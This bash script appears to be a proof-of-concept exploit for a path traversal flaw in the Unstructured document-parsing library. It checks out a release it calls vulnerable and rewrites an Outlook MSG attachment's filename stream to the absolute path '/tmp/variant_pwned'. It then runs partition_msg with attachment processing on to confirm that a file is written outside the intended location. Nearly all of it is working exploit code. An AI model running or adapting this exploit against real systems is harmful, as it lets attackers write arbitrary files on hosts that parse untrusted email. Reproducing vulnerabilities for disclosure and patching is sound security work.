#!/usr/bin/env bash
set -euo pipefail

WORKDIR="$(pwd)"
export WORKDIR
REPO="$WORKDIR/unstructured"
VENV="$WORKDIR/vuln_variant/venv"

if [ ! -d "$REPO" ]; then
  git clone https://github.com/Unstructured-IO/unstructured.git "$REPO"
fi

# Use a vulnerable release tag (<=0.18.17)
git -C "$REPO" checkout 0.18.15

python -m venv "$VENV"
"$VENV/bin/pip" install --upgrade pip
"$VENV/bin/pip" install olefile python-oxmsg
"$VENV/bin/pip" install -e "$REPO"

# Build a malicious MSG by overwriting attachment filename with an absolute path
"$VENV/bin/python" - <<'PY'
import os
import shutil
from pathlib import Path
import olefile

workdir = Path(os.environ["WORKDIR"])
src = workdir / "unstructured/example-docs/fake-email-multiple-attachments.msg"
mal = workdir / "unstructured/example-docs/fake-email-abs-traversal.msg"
shutil.copy(src, mal)

ole = olefile.OleFileIO(str(mal), write_mode=True)
stream = "__attach_version1.0_#00000000/__substg1.0_3707001F"
old_bytes = ole.openstream(stream).read()
old_len_chars = len(old_bytes) // 2
base_name = "/tmp/variant_pwned"
if len(base_name) > old_len_chars:
    base_name = base_name[:old_len_chars]
else:
    base_name = base_name + ("A" * (old_len_chars - len(base_name)))
new_bytes = base_name.encode("utf-16le")
ole.write_stream(stream, new_bytes)
ole.close()
print(f"Wrote malicious attachment name to {mal}")
print(f"Attachment name length chars: {len(base_name)}")
PY

# Trigger partitioning; attachment is written before ImportError for missing image deps
"$VENV/bin/python" - <<'PY'
import os
from unstructured.partition.msg import partition_msg

msg_path = os.path.join(
    os.environ["WORKDIR"], "unstructured/example-docs/fake-email-abs-traversal.msg"
)

# Remove any prior files starting with /tmp/variant_pwned
for fname in os.listdir("/tmp"):
    if fname.startswith("variant_pwned"):
        try:
            os.remove(os.path.join("/tmp", fname))
        except OSError:
            pass

try:
    partition_msg(msg_path, process_attachments=True)
except Exception as e:
    print("partition error:", type(e), e)

matches = [f for f in os.listdir("/tmp") if f.startswith("variant_pwned")]
print("/tmp variant_pwned matches:", matches)
for f in matches:
    path = os.path.join("/tmp", f)
    print(path, "size:", os.path.getsize(path))
PY
